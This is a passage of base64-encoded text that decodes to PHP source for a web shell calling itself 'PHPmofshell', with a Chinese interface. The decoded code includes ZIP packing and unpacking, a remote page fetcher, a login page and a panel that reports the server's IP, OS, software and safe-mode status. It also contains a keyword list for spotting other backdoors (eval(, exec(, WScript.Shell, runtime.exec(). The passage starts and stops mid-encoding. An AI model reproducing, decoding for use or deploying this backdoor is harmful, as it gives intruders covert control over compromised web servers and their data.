1bml4dGltZSk7CgogICAgICAgIGlmICgkdGltZWFycmF5Wyd5ZWFyJ10gPCAxOTgwKSB7CiAgICAgICAgCSR0aW1lYXJyYXlbJ3llYXInXSAgICA9IDE5ODA7CiAgICAgICAgCSR0aW1lYXJyYXlbJ21vbiddICAgICA9IDE7CiAgICAgICAgCSR0aW1lYXJyYXlbJ21kYXknXSAgICA9IDE7CiAgICAgICAgCSR0aW1lYXJyYXlbJ2hvdXJzJ10gICA9IDA7CiAgICAgICAgCSR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA9IDA7CiAgICAgICAgCSR0aW1lYXJyYXlbJ3NlY29uZHMnXSA9IDA7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gKCgkdGltZWFycmF5Wyd5ZWFyJ10gLSAxOTgwKSA8PCAyNSkgfCAoJHRpbWVhcnJheVsnbW9uJ10gPDwgMjEpIHwgKCR0aW1lYXJyYXlbJ21kYXknXSA8PCAxNikgfAogICAgICAgICAgICAgICAoJHRpbWVhcnJheVsnaG91cnMnXSA8PCAxMSkgfCAoJHRpbWVhcnJheVsnbWludXRlcyddIDw8IDUpIHwgKCR0aW1lYXJyYXlbJ3NlY29uZHMnXSA+PiAxKTsKICAgIH0KCglmdW5jdGlvbiBzdGFydGZpbGUoJHBhdGggPSAnUVFxdW41NTUyMjcuemlwJyl7CgkJJHRoaXMtPmd6ZmlsZW5hbWU9JHBhdGg7CgkJJG15cGF0aGRpcj1hcnJheSgpOwoJCWRvewoJCQkkbXlwYXRoZGlyW10gPSAkcGF0aCA9IGRpcm5hbWUoJHBhdGgpOwoJCX13aGlsZSgkcGF0aCAhPSAnLicpOwoJCUBlbmQoJG15cGF0aGRpcik7CgkJZG97CgkJCSRwYXRoID0gQGN1cnJlbnQoJG15cGF0aGRpcik7CgkJCUBta2RpcigkcGF0aCk7CgkJfXdoaWxlKEBwcmV2KCRteXBhdGhkaXIpKTsKCgkJaWYoJHRoaXMtPmZwPUBmb3BlbigkdGhpcy0+Z3pmaWxlbmFtZSwidyIpKXsKCQkJcmV0dXJuIHRydWU7CgkJfQoJCXJldHVybiBmYWxzZTsKCX0KCiAgICBmdW5jdGlvbiBhZGRmaWxlKCRkYXRhLCAkbmFtZSl7CiAgICAgICAgJG5hbWUgICAgID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbmFtZSk7CgkJCgkJaWYoc3RycmNocigkbmFtZSwnLycpPT0nLycpIHJldHVybiAkdGhpcy0+YWRkZGlyKCRuYW1lKTsKCQkKICAgICAgICAkZHRpbWUgICAgPSBkZWNoZXgoJHRoaXMtPnVuaXgyRG9zVGltZSgpKTsKICAgICAgICAkaGV4ZHRpbWUgPSAnXHgnIC4gJGR0aW1lWzZdIC4gJGR0aW1lWzddCiAgICAgICAgICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVs0XSAuICRkdGltZVs1XQogICAgICAgICAgICAgICAgICAuICdceCcgLiAkZHRpbWVbMl0gLiAkZHRpbWVbM10KICAgICAgICAgICAgICAgICAgLiAnXHgnIC4gJGR0aW1lWzBdIC4gJGR0aW1lWzFdOwogICAgICAgIGV2YWwoJyRoZXhkdGltZSA9ICInIC4gJGhleGR0aW1lIC4gJyI7Jyk7CgogICAgICAgICR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsKICAgICAgICAkY3JjICAgICA9IGNyYzMyKCRkYXRhKTsKICAgICAgICAkemRhdGEgICA9IGd6Y29tcHJlc3MoJGRhdGEpOwogICAgICAgICRjX2xlbiAgID0gc3RybGVuKCR6ZGF0YSk7CiAgICAgICAgJHpkYXRhICAgPSBzdWJzdHIoc3Vic3RyKCR6ZGF0YSwgMCwgc3RybGVuKCR6ZGF0YSkgLSA0KSwgMik7CgkJCiAgICAgICAgJGRhdGFzdHIgID0gIlx4NTBceDRiXHgwM1x4MDQiOwogICAgICAgICRkYXRhc3RyIC49ICJceDE0XHgwMCI7IAogICAgICAgICRkYXRhc3RyIC49ICJceDAwXHgwMCI7CiAgICAgICAgJGRhdGFzdHIgLj0gIlx4MDhceDAwIjsgCiAgICAgICAgJGRhdGFzdHIgLj0gJGhleGR0aW1lOyAKICAgICAgICAkZGF0YXN0ciAuPSBwYWNrKCdWJywgJGNyYyk7CiAgICAgICAgJGRhdGFzdHIgLj0gcGFjaygnVicsICRjX2xlbik7CiAgICAgICAgJGRhdGFzdHIgLj0gcGFjaygnVicsICR1bmNfbGVuKTsKICAgICAgICAkZGF0YXN0ciAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSk7CiAgICAgICAgJGRhdGFzdHIgLj0gcGFjaygndicsIDApOyAKICAgICAgICAkZGF0YXN0ciAuPSAkbmFtZTsKICAgICAgICAkZGF0YXN0ciAuPSAkemRhdGE7CiAgICAgICAgJGRhdGFzdHIgLj0gcGFjaygnVicsICRjcmMpOyAKICAgICAgICAkZGF0YXN0ciAuPSBwYWNrKCdWJywgJGNfbGVuKTsKICAgICAgICAkZGF0YXN0ciAuPSBwYWNrKCdWJywgJHVuY19sZW4pOwoKCgkJZndyaXRlKCR0aGlzLT5mcCwkZGF0YXN0cik7CgkJJG15X2RhdGFzdHJfbGVuID0gc3RybGVuKCRkYXRhc3RyKTsKCQl1bnNldCgkZGF0YXN0cik7CgkJCiAgICAgICAgJGRpcnN0ciAgPSAiXHg1MFx4NGJceDAxXHgwMiI7CiAgICAgICAgJGRpcnN0ciAuPSAiXHgwMFx4MDAiOyAKICAgICAgICAkZGlyc3RyIC49ICJceDE0XHgwMCI7CiAgICAgICAgJGRpcnN0ciAuPSAiXHgwMFx4MDAiOwogICAgICAgICRkaXJzdHIgLj0gIlx4MDhceDAwIjsKICAgICAgICAkZGlyc3RyIC49ICRoZXhkdGltZTsKICAgICAgICAkZGlyc3RyIC49IHBhY2soJ1YnLCAkY3JjKTsgCiAgICAgICAgJGRpcnN0ciAuPSBwYWNrKCdWJywgJGNfbGVuKTsgCiAgICAgICAgJGRpcnN0ciAuPSBwYWNrKCdWJywgJHVuY19sZW4pOyAgICAgICAJLy8gdW5jb21wcmVzc2VkIGZpbGVzaXplCiAgICAgICAgJGRpcnN0ciAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSApOyAJLy8gbGVuZ3RoIG9mIGZpbGVuYW1lCiAgICAgICAgJGRpcnN0ciAuPSBwYWNrKCd2JywgMCApOyAgICAgICAgICAgICAJLy8gZXh0cmEgZmllbGQgbGVuZ3RoCiAgICAgICAgJGRpcnN0ciAuPSBwYWNrKCd2JywgMCApOyAgICAgICAgICAgICAJLy8gZmlsZSBjb21tZW50IGxlbmd0aAogICAgICAgICRkaXJzdHIgLj0gcGFjaygndicsIDAgKTsgICAgICAgICAgICAgCS8vIGRpc2sgbnVtYmVyIHN0YXJ0CiAgICAgICAgJGRpcnN0ciAuPSBwYWNrKCd2JywgMCApOyAgICAgICAgICAgICAJLy8gaW50ZXJuYWwgZmlsZSBhdHRyaWJ1dGVzCiAgICAgICAgJGRpcnN0ciAuPSBwYWNrKCdWJywgMzIgKTsgICAgICAgICAgICAJLy8gZXh0ZXJuYWwgZmlsZSBhdHRyaWJ1dGVzIC0gJ2FyY2hpdmUnIGJpdCBzZXQKICAgICAgICAkZGlyc3RyIC49IHBhY2soJ1YnLCR0aGlzLT5kYXRhc3RyX2xlbiApOyAvLyByZWxhdGl2ZSBvZmZzZXQgb2YgbG9jYWwgaGVhZGVyCiAgICAgICAgJGRpcnN0ciAuPSAkbmFtZTsKCQkKCQkkdGhpcy0+ZGlyc3RyIC49ICRkaXJzdHI7CS8v55uu5b2V5L+h5oGvCgkJCgkJJHRoaXMgLT4gZmlsZV9jb3VudCArKzsKCQkkdGhpcyAtPiBkaXJzdHJfbGVuICs9IHN0cmxlbigkZGlyc3RyKTsKCQkkdGhpcyAtPiBkYXRhc3RyX2xlbiArPSAkbXlfZGF0YXN0cl9sZW47CQogICAgfQoKCWZ1bmN0aW9uIGFkZGRpcigkbmFtZSl7IAoJCSRuYW1lID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkbmFtZSk7IAoJCSRkYXRhc3RyID0gIlx4NTBceDRiXHgwM1x4MDRceDBhXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsgCgkJCgkJJGRhdGFzdHIgLj0gcGFjaygiViIsMCkucGFjaygiViIsMCkucGFjaygiViIsMCkucGFjaygidiIsIHN0cmxlbigkbmFtZSkgKTsgCgkJJGRhdGFzdHIgLj0gcGFjaygidiIsIDAgKS4kbmFtZS5wYWNrKCJWIiwgMCkucGFjaygiViIsIDApLnBhY2soIlYiLCAwKTsgCgoJCWZ3cml0ZSgkdGhpcy0+ZnAsJGRhdGFzdHIpOwkKCQkkbXlfZGF0YXN0cl9sZW4gPSBzdHJsZW4oJGRhdGFzdHIpOwoJCXVuc2V0KCRkYXRhc3RyKTsKCQkKCQkkZGlyc3RyID0gIlx4NTBceDRiXHgwMVx4MDJceDAwXHgwMFx4MGFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOyAKCQkkZGlyc3RyIC49IHBhY2soIlYiLDApLnBhY2soIlYiLDApLnBhY2soIlYiLDApLnBhY2soInYiLCBzdHJsZW4oJG5hbWUpICk7IAoJCSRkaXJzdHIgLj0gcGFjaygidiIsIDAgKS5wYWNrKCJ2IiwgMCApLnBhY2soInYiLCAwICkucGFjaygidiIsIDAgKTsgCgkJJGRpcnN0ciAuPSBwYWNrKCJWIiwgMTYgKS5wYWNrKCJWIiwkdGhpcy0+ZGF0YXN0cl9sZW4pLiRuYW1lOyAKCQkKCQkkdGhpcy0+ZGlyc3RyIC49ICRkaXJzdHI7CgoJCSR0aGlzIC0+IGZpbGVfY291bnQgKys7CgkJJHRoaXMgLT4gZGlyc3RyX2xlbiArPSBzdHJsZW4oJGRpcnN0cik7CgkJJHRoaXMgLT4gZGF0YXN0cl9sZW4gKz0gJG15X2RhdGFzdHJfbGVuOwkKCX0KCgoJZnVuY3Rpb24gY3JlYXRlZmlsZSgpewoJCSRlbmRzdHIgPSAiXHg1MFx4NGJceDA1XHgwNlx4MDBceDAwXHgwMFx4MDAiIC4KCQkJCQlwYWNrKCd2JywgJHRoaXMgLT4gZmlsZV9jb3VudCkgLgoJCQkJCXBhY2soJ3YnLCAkdGhpcyAtPiBmaWxlX2NvdW50KSAuCgkJCQkJcGFjaygnVicsICR0aGlzIC0+IGRpcnN0cl9sZW4pIC4KCQkJCQlwYWNrKCdWJywgJHRoaXMgLT4gZGF0YXN0cl9sZW4pIC4KCQkJCQkiXHgwMFx4MDAiOwoKCQlmd3JpdGUoJHRoaXMtPmZwLCR0aGlzLT5kaXJzdHIuJGVuZHN0cik7CgkJZmNsb3NlKCR0aGlzLT5mcCk7Cgl9CiB9CgoKZnVuY3Rpb24gc3RhcnRfdW56aXAoJHRtcF9uYW1lLCRuZXdfbmFtZSwkdG9kaXI9J3ppcGZpbGUnKXsKJHppcCA9IG5ldyBaaXBBcmNoaXZlKCkgOwppZiAoJHppcC0+b3BlbigkdG1wX25hbWUpICE9PSBUUlVFKSB7CmVjaG8gJ+aKseatie+8geWOi+e8qeWMheaXoOazleaJk+W8gOaIluaNn+Wdjyc7Cn0KJHppcC0+ZXh0cmFjdFRvKCR0b2Rpcik7CiR6aXAtPmNsb3NlKCk7CmVjaG8gJ+ino+WOi+WujOavle+8gSZuYnNwOyZuYnNwOyZuYnNwOzxhIGhyZWY9Ij9lYW52ZXI9bWFpbiZwYXRoPScudXJsZW5jb2RlKCR0b2RpcikuJyI+6L+b5YWl6Kej5Y6L55uu5b2VPC9hPiZuYnNwOyZuYnNwOyZuYnNwOzxhIGhyZWY9ImphdmFzY3JpcHQ6aGlzdG9yeS5nbygtMSk7Ij7ov5Tlm548L2E+JzsKfQoKZnVuY3Rpb24gbXVtYSgkZmlsZWNvZGUsJGZpbGV0eXBlKXsKCSRkaW0gPSBhcnJheSgKCSJwaHAiID0+IGFycmF5KCJldmFsKCIsImV4ZWMoIiksCgkiYXNwIiA9PiBhcnJheSgiV1NjcmlwdC5TaGVsbCIsImV4ZWN1dGUoIiwiY3JlYXRldGV4dGZpbGUoIiksCgkiYXNweCIgPT4gYXJyYXkoIlJlc3BvbnNlLldyaXRlKGV2YWwoIiwiUnVuQ01EKCIsIkNyZWF0ZVRleHQoKSIpLAoJImpzcCIgPT4gYXJyYXkoInJ1bnRpbWUuZXhlYygiKQoJKTsKCWZvcmVhY2goJGRpbVskZmlsZXR5cGVdIGFzICRjb2RlKXsKCQlpZihzdHJpc3RyKCRmaWxlY29kZSwkY29kZSkpIHJldHVybiB0cnVlOwoJfQp9CgpmdW5jdGlvbiBkZWJ1ZygkZmlsZSwkZnR5cGUpewoJJHR5cGU9ZXhwbG9kZSgnfCcsJGZ0eXBlKTsKCWZvcmVhY2goJHR5cGUgYXMgJGkpewoJCWlmKHN0cmlzdHIoJGZpbGUsJGkpKQlyZXR1cm4gdHJ1ZTsKCX0KfQoKLyotLS1zdHJpbmctLS0qLwoKZnVuY3Rpb24gc3RyX3BhdGgoJHBhdGgpewoJcmV0dXJuIHN0cl9yZXBsYWNlKCcvLycsJy8nLCRwYXRoKTsKfQoKZnVuY3Rpb24gbXNnKCRtc2cpewoJZGllKCI8c2NyaXB0PndpbmRvdy5hbGVydCgnIi4kbXNnLiInKTtoaXN0b3J5LmdvKC0xKTs8L3NjcmlwdD4iKTsKfQoKZnVuY3Rpb24gdXBwYXRoKCRub3dwYXRoKXsKCSRub3dwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywnLycsZGlybmFtZSgkbm93cGF0aCkpOwoJcmV0dXJuIHVybGVuY29kZSgkbm93cGF0aCk7Cn0KCmZ1bmN0aW9uIHh4c3RyKCRrZXkpewoJJHRlbXAgPSBzdHJfcmVwbGFjZSgiXFxcXCIsIlxcIiwka2V5KTsKCSR0ZW1wID0gc3RyX3JlcGxhY2UoIlxcIiwiXFxcXCIsJHRlbXApOwoJcmV0dXJuICR0ZW1wOwp9CgovKi0tLWh0bWwtLS0qLwoKZnVuY3Rpb24gaHRtbF90YSgkdXJsLCRuYW1lKXsKCWh0bWxfbigiPGEgaHJlZj1cIiR1cmxcIiB0YXJnZXQ9XCJfYmxhbmtcIj4kbmFtZTwvYT4iKTsKfQoKZnVuY3Rpb24gaHRtbF9hKCR1cmwsJG5hbWUsJHdoZXJlPScnKXsKCWh0bWxfbigiPGEgaHJlZj1cIiR1cmxcIiAkd2hlcmU+JG5hbWU8L2E+ICIpOwp9CgpmdW5jdGlvbiBodG1sX2ltZygkdXJsKXsKCWh0bWxfbigiPGltZyBzcmM9XCI/aW1nPSR1cmxcIiBib3JkZXI9MD4iKTsKfQoKZnVuY3Rpb24gYmFjaygpewoJaHRtbF9uKCI8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0n6L+U5ZueJyBvbmNsaWNrPSdoaXN0b3J5LmJhY2soKTsnPiIpOwp9CgpmdW5jdGlvbiBodG1sX3JhZGlvKCRuYW1laSwkbmFtZXQsJHYxLCR2Mil7CglodG1sX24oJzxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0icmV0dXJuIiB2YWx1ZT0iJy4kdjEuJyIgY2hlY2tlZD4nLiRuYW1laSk7CglodG1sX24oJzxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0icmV0dXJuIiB2YWx1ZT0iJy4kdjIuJyI+Jy4kbmFtZXQuJzxicj48YnI+Jyk7Cn0KCmZ1bmN0aW9uIGh0bWxfaW5wdXQoJHR5cGUsJG5hbWUsJHZhbHVlID0gJycsJHRleHQgPSAnJywkc2l6ZSA9ICcnLCRtb2RlID0gZmFsc2UpewoJaWYoJG1vZGUpewoJCWh0bWxfbigiPGlucHV0IHR5cGU9XCIkdHlwZVwiIG5hbWU9XCIkbmFtZVwiIHZhbHVlPVwiJHZhbHVlXCIgc2l6ZT1cIiRzaXplXCIgY2hlY2tlZD4kdGV4dCIpOwoJfWVsc2V7CgkJaHRtbF9uKCIkdGV4dCA8aW5wdXQgdHlwZT1cIiR0eXBlXCIgbmFtZT1cIiRuYW1lXCIgdmFsdWU9XCIkdmFsdWVcIiBzaXplPVwiJHNpemVcIj4iKTsKCX0KfQoKZnVuY3Rpb24gaHRtbF9iYXNlKCl7Cmh0bWxfbignZnVuY3Rpb24gYmFzZTY0ZW5jb2RlKHN0cil7Cgl2YXIgYmFzZTY0RW5jb2RlQ2hhcnMgPSAiQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLyI7CiAgICB2YXIgb3V0LCBpLCBsZW47CiAgICB2YXIgYzEsIGMyLCBjMzsKICAgIGxlbiA9IHN0ci5sZW5ndGg7CiAgICBpID0gMDsKICAgIG91dCA9ICIiOwogICAgd2hpbGUgKGkgPCBsZW4pIHsKICAgICAgICBjMSA9IHN0ci5jaGFyQ29kZUF0KGkrKykgJiAweGZmOwogICAgICAgIGlmIChpID09IGxlbikgewogICAgICAgICAgICBvdXQgKz0gYmFzZTY0RW5jb2RlQ2hhcnMuY2hhckF0KGMxID4+IDIpOwogICAgICAgICAgICBvdXQgKz0gYmFzZTY0RW5jb2RlQ2hhcnMuY2hhckF0KChjMSAmIDB4MykgPDwgNCk7CiAgICAgICAgICAgIG91dCArPSAiPT0iOwogICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgYzIgPSBzdHIuY2hhckNvZGVBdChpKyspOwogICAgICAgIGlmIChpID09IGxlbikgewogICAgICAgICAgICBvdXQgKz0gYmFzZTY0RW5jb2RlQ2hhcnMuY2hhckF0KGMxID4+IDIpOwogICAgICAgICAgICBvdXQgKz0gYmFzZTY0RW5jb2RlQ2hhcnMuY2hhckF0KCgoYzEgJiAweDMpIDw8IDQpIHwgKChjMiAmIDB4RjApID4+IDQpKTsKICAgICAgICAgICAgb3V0ICs9IGJhc2U2NEVuY29kZUNoYXJzLmNoYXJBdCgoYzIgJiAweEYpIDw8IDIpOwogICAgICAgICAgICBvdXQgKz0gIj0iOwogICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgYzMgPSBzdHIuY2hhckNvZGVBdChpKyspOwogICAgICAgIG91dCArPSBiYXNlNjRFbmNvZGVDaGFycy5jaGFyQXQoYzEgPj4gMik7CiAgICAgICAgb3V0ICs9IGJhc2U2NEVuY29kZUNoYXJzLmNoYXJBdCgoKGMxICYgMHgzKSA8PCA0KSB8ICgoYzIgJiAweEYwKSA+PiA0KSk7CiAgICAgICAgb3V0ICs9IGJhc2U2NEVuY29kZUNoYXJzLmNoYXJBdCgoKGMyICYgMHhGKSA8PCAyKSB8ICgoYzMgJiAweEMwKSA+PiA2KSk7CiAgICAgICAgb3V0ICs9IGJhc2U2NEVuY29kZUNoYXJzLmNoYXJBdChjMyAmIDB4M0YpOwogICAgfQogICAgcmV0dXJuIG91dDsKfScpOwp9CgpmdW5jdGlvbiBodG1sX3RleHQoJG5hbWUsJGNvbHMsJHJvd3MsJHZhbHVlID0gJycpewoJaHRtbF9uKCI8YnI+PGJyPjx0ZXh0YXJlYSBuYW1lPVwiJG5hbWVcIiBDT0xTPVwiJGNvbHNcIiBST1dTPVwiJHJvd3NcIiA+JHZhbHVlPC90ZXh0YXJlYT4iKTsKfQoKZnVuY3Rpb24gaHRtbF9zZWxlY3QoJGFycmF5LCRtb2RlID0gJycsJGNoYW5nZSA9ICcnLCRuYW1lID0gJ2NsYXNzJyl7CglodG1sX24oIjxzZWxlY3QgbmFtZT0kbmFtZSAkY2hhbmdlPiIpOwoJZm9yZWFjaCgkYXJyYXkgYXMgJG5hbWUgPT4gJHZhbHVlKXsKCQlpZigkbmFtZSA9PSAkbW9kZSl7CgkJCWh0bWxfbigiPG9wdGlvbiB2YWx1ZT1cIiRuYW1lXCIgc2VsZWN0ZWQ+JHZhbHVlPC9vcHRpb24+Iik7CgkJfWVsc2V7CgkJCWh0bWxfbigiPG9wdGlvbiB2YWx1ZT1cIiRuYW1lXCI+JHZhbHVlPC9vcHRpb24+Iik7CgkJfQoJfQoJaHRtbF9uKCI8L3NlbGVjdD4iKTsKfQoKZnVuY3Rpb24gaHRtbF9mb250KCRjb2xvciwkc2l6ZSwkbmFtZSl7CglodG1sX24oIjxmb250IGNvbG9yPVwiJGNvbG9yXCIgc2l6ZT1cIiRzaXplXCI+JG5hbWU8L2ZvbnQ+Iik7Cn0KCmZ1bmN0aW9uIEdldEh0bWwoJHVybCkKewogICAgICAkYyA9ICcnOwogICAgICAkdXNlcmFnZW50ID0gJ01vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDYuMDsgV2luZG93cyBOVCA1LjIpJzsKICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdmc29ja29wZW4nKSl7CiAgICAJJGxpbmsgPSBwYXJzZV91cmwoJHVybCk7CgkgICAgJHF1ZXJ5PSRsaW5rWydwYXRoJ10uJz8nLiRsaW5rWydxdWVyeSddOwoJICAgICRob3N0PXN0cnRvbG93ZXIoJGxpbmtbJ2hvc3QnXSk7CgkgICAgJHBvcnQ9JGxpbmtbJ3BvcnQnXTsKCSAgICBpZigkcG9ydD09IiIpeyRwb3J0PTgwO30KCSAgICAkZnAgPSBmc29ja29wZW4gKCRob3N0LCRwb3J0LCAkZXJybm8sICRlcnJzdHIsIDEwKTsKCSAgICBpZiAoJGZwKQoJICAgICAgewoJCSAgICAkb3V0ID0gIkdFVCAveyRxdWVyeX0gSFRUUC8xLjBcclxuIjsgCgkJICAgICRvdXQgLj0gIkhvc3Q6IHskaG9zdH1cclxuIjsgCgkJICAgICRvdXQgLj0gIlVzZXItQWdlbnQ6IE1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDYuMDsgV2luZG93cyBOVCA1LjIpXHJcbiI7IAoJCSAgICAkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsgCgkJICAgIGZ3cml0ZSgkZnAsICRvdXQpOwoJCSAgICAkaW5oZWFkZXI9MTsKCQkgICAgd2hpbGUoIWZlb2YoJGZwKSkgCgkJICAgICAgICAgeyRsaW5lPWZnZXRzKCRmcCw0MDk2KTsJCgkJCSAgICAgIGlmKCRpbmhlYWRlcj09MCl7JGNvbnRlbnRzLj0kbGluZTt9CgkJCSAgICAgIGlmICgkaW5oZWFkZXIgJiYoJGxpbmU9PSJcbiJ8fCRsaW5lPT0iXHJcbiIpKXskaW5oZWFkZXIgPSAwO30KCQkgICAgfSAKCQkgICAgZmNsb3NlICgkZnApOyAKCQkgICAgJGM9ICRjb250ZW50czsKCSAgICAgIH0KICAgICAgICB9CgkJaWYoZW1wdHkoJGMpICYmIGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0JykgJiYgZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2V4ZWMnKSl7CiAgICAgICAgICAgICRjaCA9IGN1cmxfaW5pdCgpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDE1KTsKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCBUUlVFKTsKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7CiAgICAgICAgICAgICRjID0gY3VybF9leGVjKCRjaCk7CiAgICAgICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICB9CiAgICAgICAgaWYoZW1wdHkoJGMpICYmIGluaV9nZXQoJ2FsbG93X3VybF9mb3BlbicpKXsKICAgICAgICAgICAgJGMgPSBmaWxlX2dldF9jb250ZW50cygkdXJsKTsKICAgICAgICB9CgkJaWYoZW1wdHkoJGMpKXsKICAgICAgICAgICAgZWNobyAiZG9jdW1lbnQud3JpdGUoJzxESVYgc3R5bGU9XCdDVVJTT1I6dXJsKFwiJHVybFwiKVwnPicpOyI7CiAgICAgICAgfQoJCWlmKCFlbXB0eSgkYykpCgkJewogICAgICAgIHJldHVybiAkYzsKCQl9CiB9CiAKIApmdW5jdGlvbiBodG1sX21haW4oJHBhdGgsJHNoZWxsbmFtZSl7CgppZiAoQGluaV9nZXQoInNhZmVfbW9kZSIpIG9yIHN0cnRvbG93ZXIoQGluaV9nZXQoInNhZmVfbW9kZSIpKSA9PSAib24iKQp7CiAkc2FmZW1vZGUgPSBUUlVFOwogJGhzYWZlbW9kZSA9ICI8Zm9udCBjb2xvcj1yZWQ+T04gKOWuieWFqCk8L2ZvbnQ+IjsKfQplbHNlIHskc2FmZW1vZGUgPSBGQUxTRTsgJGhzYWZlbW9kZSA9ICI8Zm9udCBjb2xvcj1ncmVlbj5PRkYgKOS4jeWuieWFqCk8L2ZvbnQ+IjsKfQoJJFNlcnZlcl9JUCA9IGdldGhvc3RieW5hbWUoJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0pOwoJJFNlcnZlcl9PUyA9IFBIUF9PUzsKCSRTZXJ2ZXJfU29mdCA9ICRfU0VSVkVSWyJTRVJWRVJfU09GVFdBUkUiXTsKCSR3ZWJfc2VydmVyID0gIHBocF91bmFtZSgpOwpwcmludDw8PEVORAo8aHRtbD48dGl0bGU+eyRTZXJ2ZXJfSVB9IC1QSFBfbW9mc2hlbGwgQnl7JHNoZWxsbmFtZX0tIHskU2VydmVyX09TfSAtIHskU2VydmVyX1NvZnR9PC90aXRsZT4KPHRhYmxlIHdpZHRoPScxMDAlJz48dHI+PHRkPjxmb3JtIG1ldGhvZD0nR0VUJyB0YXJnZXQ9J21haW4nPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2VhbnZlcicgdmFsdWU9J21haW4nPuWcsOWdgDo8aW5wdXQgbmFtZT0ncGF0aCcgc3R5bGU9J3dpZHRoOjkwJScgdmFsdWU9J3skcGF0aH0nPiZuYnNwPGlucHV0IG5hbWU9J1N1Ym1pdCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0n6Lez5YiwJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J+WIt+aWsCcgb25jbGljaz0nbWFpbi5sb2NhdGlvbi5yZWxvYWQoKSc+PC90ZD48L3RyPjx0ciBhbGlnbj0nY2VudGVyJz48dGQ+PGI+5a6J5YWo5qih5byPOnskaHNhZmVtb2RlfS0tLS17JFNlcnZlcl9JUH0tLS0tLXskU2VydmVyX09TfS0tLS0teyRTZXJ2ZXJfU29mdH0tLS0tLXskd2ViX3NlcnZlciB9PC9iPjwvdGQ+PC90cj48dHIgYWxpZ249J2NlbnRlcic+PHRkPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT4KRU5EOwoJaHRtbF9uKCI8dGFibGUgd2lkdGg9JzEwMCUnIGhlaWdodD0nOTUuNyUnIGJvcmRlcj0wIGNlbGxwYWRkaW5nPScwJyBjZWxsc3BhY2luZz0nMCc+PHRyPjx0ZCB3aWR0aD0nMTcwJz48aWZyYW1lIG5hbWU9J2xlZnQnIHNyYz0nP2VhbnZlcj1sZWZ0JyB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJyBmcmFtZWJvcmRlcj0nMCc+Iik7CglodG1sX24oIjwvaWZyYW1lPjwvdGQ+PHRkPjxpZnJhbWUgbmFtZT0nbWFpbicgc3JjPSc/ZWFudmVyPW1haW4nIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzEwMCUnIGZyYW1lYm9yZGVyPScxJz4iKTsKCWh0bWxfbigiPC9pZnJhbWU+PC90ZD48L3RyPjwvdGFibGU+PC9odG1sPiIpOwp9CgpmdW5jdGlvbiBpc2xvZ2luKCRzaGVsbG5hbWUsJG15dXJsKXsKCSRTZXJ2ZXJfSVAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdKTsKCSRTZXJ2ZXJfT1MgPSBQSFBfT1M7CgkkU2VydmVyX1NvZnQgPSAkX1NFUlZFUlsiU0VSVkVSX1NPRlRXQVJFIl07Cgkkd2ViX3NlcnZlciA9ICBwaHBfdW5hbWUoKTsKcHJpbnQ8PDxFTkQKPCFET0NUWVBFIGh0bWw+CjxoZWFkPgo8dGl0bGU+eyRTZXJ2ZXJfSVB9LVBIUG1vZnNoZWxsIEJ5Onskc2hlbGxuYW1lfTwvdGl0bGU+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CmJvZHl7YmFja2dyb3VuZC1jb2xvcjojMDAwO30KaW5wdXQsc2VsZWN0LHRleHRhcmVhe2ZvbnQtc2l6ZTogMTJweDtiYWNrZ3JvdW5kLWNvbG9yOiNkZGRkZGQ7Ym9yZGVyOjFweCBzb2xpZCAjZmZmfQpib2R5LGRpdntmb250LXNpemU6IDIwcHg7Y29sb3I6I2RkZDt9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHkgc2Nyb2xsPW5vPjxkaXYgYWxpZ249ImNlbnRlciI+CjxzcGFuIHN0eWxlPSJjb2xvcjogIzY3Njc2Nztmb250LWZhbWlseTogVGFob21hLCBHZW5ldmEsIHNhbnMtc2VyaWY7Zm9udC1zaXplOjEycHg7Ij4KIDxiPnskU2VydmVyX09TfV9fX19fX3skU2VydmVyX1NvZnR9X19fX19feyR3ZWJfc2VydmVyIH08L2I+Cgo8L2Rpdj4KPGRpdiBhbGlnbj0iY2VudGVyIiBzdHlsZT0ibWFyZ2luLXJpZ2h0OjcwcHg7IG1hcmdpbi1ib3R